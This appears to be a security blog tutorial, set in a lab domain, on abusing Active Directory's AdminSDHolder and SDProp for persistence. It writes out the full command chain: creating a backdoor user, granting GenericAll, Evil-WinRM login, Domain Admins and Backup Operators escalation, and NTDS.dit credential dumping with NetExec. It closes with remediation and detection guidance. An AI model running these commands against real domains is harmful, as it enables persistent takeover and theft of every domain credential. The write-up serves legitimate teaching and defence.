Executive Summary

AdminSDHolder is a special container object in every Microsoft Active Directory (AD) forest that defines the security descriptor template applied to privileged accounts and groups. A background process called SDProp (Security Descriptor Propagator) runs on the Primary Domain Controller (PDC) emulator every 60 minutes by default and resets the Access Control Lists (ACLs) of all protected objects to match the AdminSDHolder template.

This behaviour — intended as a protective mechanism — can be weaponised by an attacker who gains sufficient privileges to modify AdminSDHolder’s ACL. By adding a low-privileged user with Full Control (GenericAll) over AdminSDHolder, the attacker ensures that SDProp will automatically propagate those permissions to every protected principal in the domain. The result is a highly persistent backdoor that survives routine administrative cleanup of individual objects, because SDProp continuously re-applies the malicious ACL entry.

This article provides a detailed, step-by-step walkthrough of the AdminSDHolder persistence technique as demonstrated in a lab environment (domain ignite.local), covering initial foothold, ACL manipulation, credential dumping, and detection/remediation guidance.

Table of Contents

1. Executive Summary
2. Background & Core Concepts
   • What Is AdminSDHolder?
   • What Is SDProp?
   • Why Is This a Persistence Mechanism?
3. Lab Setup
   • Create Domain User
   • Configure AdminSDHolder ACL via ADUC
4. Attack Walkthrough
   • Force SDProp to Run Immediately
   • Connect via Evil-WinRM
   • Escalate to Domain Admin (GenericAll → net group)
5. Second Method — BloodyAD
   • Grant GenericAll & Add to Backup Operators
6. Credential Dumping
   • NetExec backup_operator Module
7. Remediation & Hardening
   • Immediate Response Steps
   • Long-Term Hardening
8. Conclusion

Background & Core Concepts

What Is AdminSDHolder?

AdminSDHolder (formally CN=AdminSDHolder,CN=System,DC=<domain>) is a container object present in every AD domain. Its sole purpose is to act as a security descriptor template for a predefined list of sensitive groups and their members — collectively referred to as protected objects.

The protected groups include, but are not limited to:

• Domain Admins
• Enterprise Admins
• Schema Admins
• Administrators (built-in)
• Account Operators
• Backup Operators
• Print Operators
• Server Operators
• Replicators
• KRBTGT

Any user who is (or has been) a member of these groups inherits the AdminCount=1 attribute and has their ACL overwritten by SDProp to mirror AdminSDHolder’s ACL.

What Is SDProp?

SDProp (Security Descriptor Propagator) is a background task that runs on the PDC Emulator domain controller. By default, it executes every 3,600 seconds (60 minutes). Its job is to:

• Enumerate all objects with AdminCount=1 in the domain.
• Compare each object’s ACL against AdminSDHolder’s ACL.
• If they differ, overwrite the object’s ACL with AdminSDHolder’s ACL.

This means that if an attacker modifies AdminSDHolder’s ACL to include a rogue principal with GenericAll, SDProp will propagate those permissions to every protected object within the next SDProp cycle — without any further attacker interaction.

Why Is This a Persistence Mechanism?

Traditional ACL-based backdoors (e.g., granting a user DCSync rights directly on the domain object) can be detected and removed by a defender. However, because SDProp periodically resets ACLs on protected objects from AdminSDHolder, even if a defender removes the malicious ACE from an individual protected object, SDProp will re-add it the next time it runs — up to 60 minutes later. The root cause (AdminSDHolder’s ACL) persists untouched unless the defender knows to look there specifically.

Lab Environment & Prerequisites

Create a Domain User Account

The first step is to create a new, low-privileged domain user that will serve as the persistence backdoor.

net user sanjeet Password@1 /add /domain

Locate AdminSDHolder in ADUC

Open Active Directory Users and Computers (ADUC) with Advanced Features enabled (View → Advanced Features). Navigate to:

• Open Active Directory Users and Computers
• Go to local
• Open System folder
• Click AdminSDHolder
• Right-click → Properties
• Go to Security tab
• Click Add (to add a user/group)
• Select the user/group → click OK
• Assign permissions Full Control
• Click Apply → OK

Forcing SDProp to Run Immediately

By default, SDProp runs every 60 minutes. To trigger it immediately, the AdminSDProtectFrequency registry key is modified to 60 seconds, and Group Policy is force-updated:

On the DC (PowerShell as Administrator):

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "AdminSDProtectFrequency" -Value 60 -Type DWord -Force

# Verify the change

Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" -Name "AdminSDProtectFrequency"

Connect as sanjeet via Evil-WinRM

With the backdoor planted, the attacker logs into the domain controller as sanjeet using Evil-WinRM, which leverages Windows Remote Management (WinRM / WSMan) on TCP 5985:

evil-winrm -i 192.168.1.11 -u sanjeet -p Password@1

After connecting, running net user sanjeet confirms the account is still a plain Domain User — the SDProp propagation has not yet occurred:

net user sanjeet

The attacker then triggers a Group Policy refresh to ensure the session reflects the latest AD state and SDProp runs (since we reduced the interval to 60 seconds, this is almost instantaneous)

gpupdate /force

Abuse GenericAll to Escalate to Domain Admin

The BloodHound graph (exported from the ignite.local domain) reveals a critical misconfiguration: sanjeet has GenericAll over the AdminSDHolder object, as well as over multiple high-value targets including:

• Adminsdholder@Ignite.Local
• Administrators@Ignite.Local,
• Backup Operators@Ignite.Local
• Domain Admins@Ignite.Local

For More Details: Active Directory Enumeration: BloodHound

With GenericAll on the Domain Admins group, sanjeet can add themselves to it directly:

net group "domain admins" sanjeet /add /domain

This is the core persistence technique. Even after sanjeet is removed from Domain Admins, the GenericAll ACE on AdminSDHolder ensures that SDProp will re-propagate those rights automatically.

Second Way

BloodyAD command being used to grant GenericAll permissions on the AdminSDHolder object to a user named sanjeet — a highly dangerous Active Directory persistence and privilege escalation technique.

bloodyAD --host 192.168.1.11 -d ignite.local -u administrator -p Ignite@987 add genericAll "CN=AdminSDHolder,CN=System,DC=ignite,DC=local" sanjeet

In tihs step sanjeet added to Backup Operators means the operation succeeded. Notice this is done as sanjeet — this works because in the previous steps, sanjeet was granted GenericAll on AdminSDHolder, and after SDProp propagated, sanjeet inherited full control over all protected AD objects including the Backup Operators group

bloodyAD --host "192.168.1.11" -d "ignite.local" -u "sanjeet" -p "Password@1" add groupMember "Backup Operators" "sanjeet"

bloodyAD --host 192.168.1.11 -d ignite.local -u sanjeet -p 'Password@1' get membership sanjeet

Dump Credentials with NetExec backup_operator Module

With Backup Operators membership, sanjeet can now dump the three most critical registry hives from the DC

using nxc (NetExec) with the backup_operator module to dump SAM, SYSTEM, SECURITY registry hives AND the full NTDS.dit database, extracting every credential hash in the ignite.local domain.

nxc smb 192.168.1.11 -u sanjeet -p Password@1 -M backup_operator

For More Details: Windows Privilege Escalation: SeBackupPrivilege

Remediation & Hardening

Immediate Response Steps

• Audit AdminSDHolder’s ACL using the PowerShell query and remove any unexpected ACEs.
• Audit all protected groups (Domain Admins, Backup Operators, etc.) for unexpected members and remove them.
• Reset the passwords of any accounts that may have had their ACLs manipulated.
• Reset the KRBTGT account password twice (with a delay of the Kerberos ticket lifetime between resets) to invalidate any forged Kerberos tickets.
• Review and revoke any suspicious Kerberos tickets using klist purge on affected systems.
• Check and restore AdminSDProtectFrequency to 3,600 (or remove the registry key to use the default).

Long-Term Hardening

• Implement the AD Tiering Model (Microsoft’s Enterprise Access Model) to isolate Tier-0 (DC-level) administration from lower tiers.
• Enable Protected Users Security Group for all privileged accounts. Members cannot use NTLM, Kerberos delegation, or DES/RC4 encryption, significantly reducing attack surface.
• Use Privileged Access Workstations (PAWs) for all Domain Admin activities to prevent credential exposure.
• Deploy Microsoft Sentinel or a SIEM and create detection rules for Event IDs 4662, 4670, 4728, 4732 targeting AdminSDHolder and protected groups.
• Regularly audit AdminSDHolder’s ACL as part of your AD security assessment cadence — at minimum monthly.
• Consider implementing Microsoft’s Credential Guard and LSA Protection to harden against credential extraction even if an attacker achieves local admin.
• Use Just-In-Time (JIT) privileged access solutions (e.g., Microsoft PIM, CyberArk) to minimise the window during which highly privileged accounts exist.
• Deploy canary accounts with AdminCount=1 and no other privileges. Alert on any authentication or ACL changes targeting these accounts.

Conclusion

The AdminSDHolder persistence technique is one of the most powerful and least well-understood attack vectors in Active Directory environments. Its effectiveness stems from the same protective mechanism that Microsoft designed to safeguard privileged accounts — the SDProp process — being turned against the domain. A single ACE modification to AdminSDHolder creates a self-healing backdoor that survives most conventional incident response procedures unless defenders know specifically to look for and clean AdminSDHolder.

The key takeaways for blue teams are:

• Regularly audit AdminSDHolder’s ACL — it should contain only well-known, expected AD groups and service accounts.
• Alert on Event ID 4662/4670 targeting the AdminSDHolder object.
• Ensure that credential dumping paths (SAM, NTDS.dit, LSASS) are monitored and that Backup Operators membership is tightly controlled.
• Consider deploying BloodHound Enterprise or similar tooling for continuous ACL monitoring across the domain.

For red teams and penetration testers, AdminSDHolder abuse provides an excellent demonstration of why AD ACL hygiene is critical, why the attack surface of ‘protected’ groups is larger than it appears, and why full-domain re-imaging is sometimes the only complete remediation after a severe compromise.